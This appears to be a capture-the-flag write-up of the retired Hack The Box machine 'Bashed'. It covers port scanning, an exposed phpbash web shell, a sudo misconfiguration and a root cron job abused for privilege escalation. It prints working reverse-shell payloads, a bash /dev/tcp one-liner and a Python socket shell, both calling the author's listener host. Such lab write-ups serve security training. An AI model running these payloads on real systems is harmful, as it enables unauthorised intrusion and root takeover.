OSCP-like boxes
  • Introduction
  • Linux Boxes
    • Lame
    • Shocker
    • Bashed
  • Windows Boxes
    • Legacy
  • Harder than OSCP - Windows
    • COMING SOON
  • Harder than OSCP - Linux
    • COMING SOON
  • Misc
    • Handy Commands
Powered by GitBook
On this page
  • Overview
  • Scanning
  • Privilege Escalation: www-data to scriptmanager
  • Takeaways

Was this helpful?

  1. Linux Boxes

Bashed

This is a write-up on how I solved Bashed from Hack the Box.

PreviousShockerNextLegacy

Last updated 4 years ago

Was this helpful?

Overview

Scanning

Scanning for open ports using masscan:

sudo masscan -p1-65535,U:1-65535 10.10.10.68 --rate=1000 -e tun0

Open ports are the following:

Discovered open port 80/tcp on 10.10.10.68

I then ran a version and default scripts scan on the open ports:

sudo nmap -p 80 -sV -sC -oA nmap/bashed 10.10.10.68

The result:

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Only 1 port is open and has HTTP running on it. Checking the page, I get information about phpbash, with the author mentioning that it is developed on this exact server.

I then ran a directory bruteforce using Gobuster to find existing directories:

gobuster dir -u 10.10.10.68 -w /usr/share/SecLists/Discovery/Web-Content/common.txt

The result:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.68
[+] Threads:        10
[+] Wordlist:       /usr/share/SecLists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/30 12:17:52 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/css (Status: 301)
/dev (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
/php (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
===============================================================
2020/06/30 12:19:35 Finished
===============================================================

Interesting directories are dev, php, and uploads. I also viewed the source of the page to check for other paths or directories, and found single.html and a Github repo.

Checking single.html:

It seems that phpbash runs like a web shell. So if I am able to find the phpbash here in the server, I basically have command execution. Guessing afterwards if the file exists on the 3 interesting directories, I was able to find it under /dev. I checked for the current user and hostname, but only got a result of the id command.

Even though I have a "shell", I decided to still get a proper reverse shell, as that is my comfort zone. I create a fille called shell.sh, served it using python's http module, and set up a listener on port 9001:

shell.sh
bash -i >& /dev/tcp/10.10.14.7/9001 0>&1

Downloading the file using wget:

www-data@bashed:/var/www/html/dev# ls
phpbash.min.php
phpbash.php
www-data@bashed:/var/www/html/dev# cd /tmp
www-data@bashed:/tmp# wget 10.10.14.7:8081/shell.sh
--2020-06-29 21:24:48-- http://10.10.14.7:8081/shell.sh
Connecting to 10.10.14.7:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 41 [text/x-sh]
Saving to: 'shell.sh'

When I ran the donwloaded file, I get a shell on my listener pane:

sif0@kali:~/htb/retired/Bashed-10.10.10.68$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.68] 54586
bash: cannot set terminal process group (750): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bashed:/tmp$

I then cheked the /home directory as I might find interesting files of the users on the machine:

www-data@bashed:/home$ ls -al                                                                                                                                                  
ls -al                                                                                                                                                                         
total 16                                                                                                                                                                       
drwxr-xr-x  4 root          root          4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Dec  4  2017 ..
drwxr-xr-x  4 arrexel       arrexel       4096 Dec  4  2017 arrexel
drwxr-xr-x  3 scriptmanager scriptmanager 4096 Dec  4  2017 scriptmanager
www-data@bashed:/home$ ls -alR .
ls -alR .
.:
total 16
drwxr-xr-x  4 root          root          4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Dec  4  2017 ..
drwxr-xr-x  4 arrexel       arrexel       4096 Dec  4  2017 arrexel
drwxr-xr-x  3 scriptmanager scriptmanager 4096 Dec  4  2017 scriptmanager

./arrexel:
total 36
drwxr-xr-x 4 arrexel arrexel 4096 Dec  4  2017 .
drwxr-xr-x 4 root    root    4096 Dec  4  2017 ..
-rw------- 1 arrexel arrexel    1 Dec 23  2017 .bash_history
-rw-r--r-- 1 arrexel arrexel  220 Dec  4  2017 .bash_logout
-rw-r--r-- 1 arrexel arrexel 3786 Dec  4  2017 .bashrc
drwx------ 2 arrexel arrexel 4096 Dec  4  2017 .cache
drwxrwxr-x 2 arrexel arrexel 4096 Dec  4  2017 .nano
-rw-r--r-- 1 arrexel arrexel  655 Dec  4  2017 .profile
-rw-r--r-- 1 arrexel arrexel    0 Dec  4  2017 .sudo_as_admin_successful
-r--r--r-- 1 arrexel arrexel   33 Dec  4  2017 user.txt

Seeing that the user I'm currently as(www-data) has read access on arrexel's files, I can read user.txt:

www-data@bashed:/home$ cat /home/arrexel/user.txt
cat /home/arrexel/user.txt
2c281f31...

Privilege Escalation: www-data to scriptmanager

Checking existing users through the passwd file, I see that scriptmanager has an interactive logon during login(due to /bin/bash).

www-data@bashed:/home$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<snip>
arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash
scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash

One common way to escalate privileges is to check sudo misconfigurations:

www-data@bashed:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

So as user www-data, I can ALL commands as user scriptmanager and group scriptmanager without any password! Checking also files on the root directory, I see a /scripts directory owned by the user scriptmanager, which is not included by default on most Linux systems:

www-data@bashed:/home$ cd /
cd /
www-data@bashed:/$ ls -la
ls -la
total 88
drwxr-xr-x  23 root          root           4096 Dec  4  2017 .
drwxr-xr-x  23 root          root           4096 Dec  4  2017 ..
drwxr-xr-x   2 root          root           4096 Dec  4  2017 bin
drwxr-xr-x   3 root          root           4096 Dec  4  2017 boot
drwxr-xr-x  19 root          root           4240 Jun 29 21:10 dev
drwxr-xr-x  89 root          root           4096 Dec  4  2017 etc
drwxr-xr-x   4 root          root           4096 Dec  4  2017 home
lrwxrwxrwx   1 root          root             32 Dec  4  2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  19 root          root           4096 Dec  4  2017 lib
drwxr-xr-x   2 root          root           4096 Dec  4  2017 lib64
drwx------   2 root          root          16384 Dec  4  2017 lost+found
drwxr-xr-x   4 root          root           4096 Dec  4  2017 media
drwxr-xr-x   2 root          root           4096 Feb 15  2017 mnt
drwxr-xr-x   2 root          root           4096 Dec  4  2017 opt
dr-xr-xr-x 113 root          root              0 Jun 29 21:10 proc
drwx------   3 root          root           4096 Dec  4  2017 root
drwxr-xr-x  18 root          root            500 Jun 29 21:10 run
drwxr-xr-x   2 root          root           4096 Dec  4  2017 sbin
drwxrwxr--   2 scriptmanager scriptmanager  4096 Dec  4  2017 scripts
drwxr-xr-x   2 root          root           4096 Feb 15  2017 srv
dr-xr-xr-x  13 root          root              0 Jun 29 21:10 sys
drwxrwxrwt  10 root          root           4096 Jun 29 21:28 tmp
drwxr-xr-x  10 root          root           4096 Dec  4  2017 usr
drwxr-xr-x  12 root          root           4096 Dec  4  2017 var
lrwxrwxrwx   1 root          root             29 Dec  4  2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic

Executing /bin/bash as script manager:

sudo -u scriptmanager /bin/bash

Now that I get a shell as scriptmanager, I checked the files under /scripts:

scriptmanager@bashed:/scripts$ ls -al
ls -al
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Jun 29 21:29 test.txt

The file test.py is interesting. Reading its contents:

scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

So the file basically creates a file called "test.txt" with the contest of "testing 123!"

scriptmanager@bashed:/scripts$ python test.py
python test.py
scriptmanager@bashed:/scripts$ ls -al
ls -al
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun 29 21:30 .
drwxr-xr-x 23 root          root          4096 Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 scriptmanager scriptmanager   12 Jun 29 21:30 test.txt
2020/06/29 21:35:01 CMD: UID=0    PID=938    | /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done

The script seems to happen every minute:

2020/06/29 21:35:01 CMD: UID=0    PID=939    | python test.py                                                                                                                  
2020/06/29 21:35:01 CMD: UID=0    PID=938    | /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done                                                                     
2020/06/29 21:35:01 CMD: UID=0    PID=937    | /usr/sbin/CRON -f                                                                                                               
2020/06/29 21:36:01 CMD: UID=0    PID=945    | python test.py                                                                                                                  
2020/06/29 21:36:01 CMD: UID=0    PID=944    | /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done                                                                     
2020/06/29 21:36:01 CMD: UID=0    PID=943    | /usr/sbin/CRON -f

Knowing that the cron runs any file with an extension of .py usng python, I can use a python script that will connect to my machine to get a reverse shell"

shell.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",9003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

I created a file called shell.py, served it using the python http server and basically downloaded it on the box. I also set up my listener on port 9003:

-rw-r--r--  1 scriptmanager scriptmanager  215 Jun 29 21:39 shell.py
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Jun 29 21:39 test.txt

After a while, I get a connection on my listener. I can now read root.txt:

sif0@kali:~/htb/retired/Bashed-10.10.10.68$ rlwrap nc -nlvp 9003
listening on [any] 9003 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.68] 47088
/bin/sh: 0: can't access tty; job control turned off
# id && hostname
uid=0(root) gid=0(root) groups=0(root)
bashed
# cat /root/root.txt                                                                   │
cc4f0afe3a102..

Going back to pspy, it shows that my file got executed when the cron ran:

2020/06/29 21:40:01 CMD: UID=0    PID=1005   | /usr/sbin/CRON -f 
2020/06/29 21:40:01 CMD: UID=0    PID=1006   | /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done 
2020/06/29 21:40:01 CMD: UID=0    PID=1007   | python shell.py 
2020/06/29 21:40:01 CMD: UID=0    PID=1008   | /bin/sh -i

There are various place to find the cron. One place is the directory /var/spool/cron/crontabs. There exists a file called root, which performs the execution basically every minute of every day of every week of every month.

# ls -la
total 12
drwxrwxr-- 2 root crontab 4096 Dec  4  2017 .
drwxr-xr-x 3 root root    4096 Dec  4  2017 ..
-rw------- 1 root crontab  260 Dec  4  2017 root
# cat root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.igz05b/crontab installed on Mon Dec  4 17:53:17 2017)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * cd /scripts; for f in *.py; do python "$f"; done
# pwd
/var/spool/cron/crontabs

Takeaways

  • Leaving projects that allows you to interact with the system's shell is dangerous.

  • Don't run crons as root, and be specific on the file path and file name of the script to be executed.

I noticed that when I deleted the file test.txt, the file is created again after some time. I then decided to use to monitor if there are any crons or scripts that gets executed on the background. Viewing pspy, I see a a script that executes a python script under the /scripts directory:

pspy
https://www.hackthebox.eu/home/machines/profile/118